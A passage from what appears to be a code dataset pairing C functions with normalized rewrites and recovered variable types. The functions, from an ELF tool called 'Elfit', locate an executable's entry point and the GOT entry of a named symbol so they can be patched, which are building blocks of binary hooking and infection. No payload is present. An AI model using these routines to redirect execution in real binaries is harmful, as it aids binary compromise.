return 24LL;
}

original_code:
off_t entry_redirect_64(Elfit_t *host, uint64_t *patch_addr)
{
    Elf64_Ehdr *ehdr;
    ehdr = (Elf64_Ehdr *) host->mem;
    *patch_addr = ehdr->e_entry;
    return ((unsigned long) &ehdr->e_entry) - ((unsigned long) host->mem);
}

canonical_original_code:
long entry_redirect_64(struct Elfit_t *host, unsigned long *patch_addr)
{
    struct Elf64_Ehdr *ehdr;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    *patch_addr = ehdr->e_entry;
    return ((unsigned long) &ehdr->e_entry) - ((unsigned long) host->mem);
}

variable_types: struct Elf64_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned long e_entry; unsigned long e_phoff; unsigned long e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *


original_code:
off_t got_redirect_32(Elfit_t *host, char *target, uint32_t *patch_addr)
{
    Elf32_Ehdr *ehdr;
    Elf32_Shdr *shdr;
    Elf32_Phdr *phdr;
    Elf32_Rel *rel;
    Elf32_Sym *dynsym;
    char *dynstr;
    int i, c, ofd;
    int relindex, dynsymindex, dynstrindex;
    Elf32_Addr data_vaddr, gotptr;
    Elf32_Off data_offset, relocptr;
    ehdr = (Elf32_Ehdr *) host->mem;
    phdr = (Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    shdr = (Elf32_Shdr *) (host->mem + ehdr->e_shoff);
    if ((relindex = get_section_by_name_32(".rel.plt", host)) == -1)
    {
        printf("could not find relocation table\n");
        return -1;
    }
    rel = (Elf32_Rel *) (host->mem + shdr[relindex].sh_offset);
    if ((dynsymindex = get_section_by_name_32(".dynsym", host)) == -1)
    {
        printf("could not find dynamic symbol table\n");
        return -1;
    }
    dynsym = (Elf32_Sym *) (host->mem + shdr[dynsymindex].sh_offset);
    if ((dynstrindex = get_section_by_name_32(".dynstr", host)) == -1)
    {
        printf("could not find dynamic string table\n");
        return -1;
    }
    dynstr = (char *) (host->mem + shdr[dynstrindex].sh_offset);
    for(i = 0; i < (shdr[relindex].sh_size / sizeof(Elf32_Rel)); i++)
    {
        if (strcmp(&dynstr[dynsym[((rel[i].r_info) >> 8)].st_name], target) == 0)
        {
            gotptr = (Elf32_Addr) rel[i].r_offset;
        }
    }
    if (!gotptr)
    {
        printf("could not retrieve got entry for the specified symbol\n");
        return -1;
    }
    for(i = 0; i < ehdr->e_phnum; i++)
    {
        if (phdr[i].p_type == 1)
        {
            data_vaddr = phdr[i+1].p_vaddr;
            data_offset = phdr[i+1].p_offset;
            break;
        }
    }
    relocptr = data_offset + ((Elf32_Off) (gotptr - data_vaddr));
    *patch_addr = *((uint32_t *) &host->mem[relocptr]);
    return relocptr;
}

canonical_original_code:
long got_redirect_32(struct Elfit_t *host, char *target, unsigned int *patch_addr)
{
    struct Elf32_Ehdr *ehdr;
    struct Elf32_Shdr *shdr;
    struct Elf32_Phdr *phdr;
    struct Elf32_Rel *rel;
    struct Elf32_Sym *dynsym;
    char *dynstr;
    int i; int c; int ofd;
    int relindex; int dynsymindex; int dynstrindex;
    unsigned int data_vaddr; unsigned int gotptr;
    unsigned int data_offset; unsigned int relocptr;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    phdr = (struct Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    shdr = (struct Elf32_Shdr *) (host->mem + ehdr->e_shoff);
    if ((relindex = get_section_by_name_32(".rel.plt", host)) == -1)
    {
        printf("could not find relocation table\n");
        return -1;
    }
    rel = (struct Elf32_Rel *) (host->mem + shdr[relindex].sh_offset);
    if ((dynsymindex = get_section_by_name_32(".dynsym", host)) == -1)
    {
        printf("could not find dynamic symbol table\n");
        return -1;
    }
    dynsym = (struct Elf32_Sym *) (host->mem + shdr[dynsymindex].sh_offset);
    if ((dynstrindex = get_section_by_name_32(".dynstr", host)) == -1)
    {
        printf("could not find dynamic string table\n");
        return -1;
    }
    dynstr = (char *) (host->mem + shdr[dynstrindex].sh_offset);
    for(i = 0; i < (shdr[relindex].sh_size / sizeof(Elf32_Rel)); i++)
    {
        if (strcmp(&dynstr[dynsym[((rel[i].r_info) >> 8)].st_name], target) == 0)
        {
            gotptr = (unsigned int) rel[i].r_offset;
        }
    }
    if (!gotptr)
    {
        printf("could not retrieve got entry for the specified symbol\n");
        return -1;
    }
    for(i = 0; i < ehdr->e_phnum; i++)
    {
        if (phdr[i].p_type == 1)
        {
            data_vaddr = phdr[i+1].p_vaddr;
            data_offset = phdr[i+1].p_offset;
            break;
        }
    }
    relocptr = data_offset + ((Elf32_Off) (gotptr - data_vaddr));
    *patch_addr = *((unsigned int *) &host->mem[relocptr]);
    return relocptr;
}

variable_types:
target
char *

variable_types: struct Elf32_Shdr { unsigned int sh_name; unsigned int sh_type; unsigned int sh_flags; unsigned int sh_addr; unsigned int sh_offset; unsigned int sh_size; unsigned int sh_link; unsigned int sh_info; unsigned int sh_addralign; unsigned int sh_entsize; } *

variable_types: struct Elf32_Rel { unsigned int r_offset; unsigned int r_info; } *

variable_types: struct Elf32_Sym { unsigned int st_name; unsigned int st_value; unsigned int st_size; unsigned char st_info; unsigned char st_other; unsigned short st_shndx; } *

variable_types:
dynstr
char *

variable_types: i int

variable_types: ofd int

variable_types: relindex int

variable_types: dynsymindex int

variable_types: dynstrindex int

variable_types:
gotptr
unsigned int

variable_types:
relocptr
unsigned int

user_defined_types: struct Elf32_Phdr { unsigned int p_type; unsigned int p_offset; unsigned int p_vaddr; unsigned int p_paddr; unsigned int p_filesz; unsigned int p_memsz; unsigned int p_flags; unsigned int p_align; }


original_code:
off_t got_redirect_64(Elfit_t *host, char *target, uint64_t *patch_addr)
{
    Elf64_Ehdr *ehdr;
    Elf64_Shdr *shdr;
    Elf64_Phdr *phdr;
    Elf64_Rela *rel;
    Elf64_Sym *dynsym;
    char *dynstr;
    int i, c, ofd;
    int relindex, dynsymindex, dynstrindex;
    Elf64_Addr data_vaddr, gotptr;
    Elf64_Off data_offset, relocptr;
    ehdr = (Elf64_Ehdr *) host->mem;
    phdr = (Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    shdr = (Elf64_Shdr *) (host->mem + ehdr->e_shoff);
    if ((relindex = get_section_by_name_64(".rela.plt", host)) == -1)
    {
        printf("could not find relocation table\n");
        return -1;
    }
    rel = (Elf64_Rela *) (host->mem + shdr[relindex].sh_offset);
    if ((dynsymindex = get_section_by_name_64(".dynsym", host)) == -1)
    {
        printf("could not find dynamic symbol table\n");
        return -1;
    }
    dynsym = (Elf64_Sym *) (host->mem + shdr[dynsymindex].sh_offset);
    if ((dynstrindex = get_section_by_name_64(".dynstr", host)) == -1)
    {
        printf("could not find dynamic string table\n");
        return -1;
    }
    dynstr = (char *) (host->mem + shdr[dynstrindex].sh_offset);
    gotptr = 0x0;
    for(i = 0; i < (shdr[relindex].sh_size / sizeof(Elf64_Rela)); i++)
    {
        if (strcmp(&dynstr[dynsym[((rel[i].r_info) >> 32)].st_name], target) == 0)
        {
            gotptr = (Elf64_Addr) rel[i].r_offset;
        }
    }
    if (!gotptr)
    {
        printf("could not retrieve got entry for the specified symbol\n");
        return -1;
    }
    for(i = 0; i < ehdr->e_phnum; i++)
    {
        if (phdr[i].p_type == 1)
        {
            data_vaddr = phdr[i+1].p_vaddr;
            data_offset = phdr[i+1].p_offset;
            break;
        }
    }
    relocptr = data_offset + ((Elf64_Off) (gotptr - data_vaddr));
    *patch_addr = *((uint64_t *) &host->mem[relocptr]);
    return relocptr;
}

canonical_original_code:
long got_redirect_64(struct Elfit_t *host, char *target, unsigned long *patch_addr)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Shdr *shdr;
    struct Elf64_Phdr *phdr;
    struct Elf64_Rela *rel;
    struct Elf64_Sym *dynsym;
    char *dynstr;
    int i; int c; int ofd;
    int relindex; int dynsymindex; int dynstrindex;
    unsigned long data_vaddr; unsigned long gotptr;
    unsigned long data_offset; unsigned long relocptr;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    phdr = (struct Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    shdr = (struct Elf64_Shdr *) (host->mem + ehdr->e_shoff);
    if ((relindex = get_section_by_name_64(".rela.plt", host)) == -1)
    {
        printf("could not find relocation table\n");
        return -1;
    }
    rel = (struct Elf64_Rela *) (host->mem + shdr[relindex].sh_offset);
    if ((dynsymindex = get_section_by_name_64(".dynsym", host)) == -1)
    {
        printf("could not find dynamic symbol table\n");
        return -1;
    }
    dynsym = (struct Elf64_Sym *) (host->mem + shdr[dynsymindex].sh_offset);
    if ((dynstrindex = get_section_by_name_64(".dynstr", host)) == -1)
    {
        printf("could not find dynamic string table\n");
        return -1;
    }
    dynstr = (char *) (host->mem + shdr[dynstrindex].sh_offset);
    gotptr = 0x0;
    for(i = 0; i < (shdr[relindex].sh_size / sizeof(Elf64_Rela)); i++)
    {
        if (strcmp(&dynstr[dynsym[((rel[i].r_info) >> 32)].st_name], target) == 0)
        {
            gotptr = (unsigned long) rel[i].r_offset;
        }
    }
    if (!gotptr)
    {
        printf("could not retrieve got entry for the specified symbol\n");
        return -1;
    }
    for(i = 0; i < ehdr->e_phnum; i++)
    {
        if (phdr[i].p_type == 1)
        {
            data_vaddr = phdr[i+1].p_vaddr;
            data_offset = phdr[i+1].p_offset;
            break;
        }
    }
    relocptr = data_offset + ((Elf64_Off) (gotptr - data_vaddr));
    *patch_addr = *((unsigned long *) &host->mem[relocptr]);
    return relocptr;
}

variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; } *

variable_types: struct Elf64_Shdr { unsigned int sh_name; unsigned int sh_type; unsigned long sh_flags; unsigned long sh_addr; unsigned long sh_offset; unsigned long sh_size; unsigned int sh_link; unsigned int sh_info; unsigned long sh_addralign; unsigned long sh_entsize; } *

variable_types: struct Elf64_Phdr { unsigned int p_type; unsigned int p_flags; unsigned long p_offset; unsigned long p_vaddr; unsigned long p_paddr; unsigned long p_filesz; unsigned long p_memsz; unsigned long p_align; } *

variable_types: struct Elf64_Rela { unsigned long r_offset; unsigned long r_info; long r_addend; } *

variable_types: struct Elf64_Sym { unsigned int st_name; unsigned char st_info; unsigned char st_other; unsigned short st_shndx; unsigned long st_value; unsigned long st_size; } *

variable_types:
gotptr
unsigned long

variable_types:
relocptr
unsigned long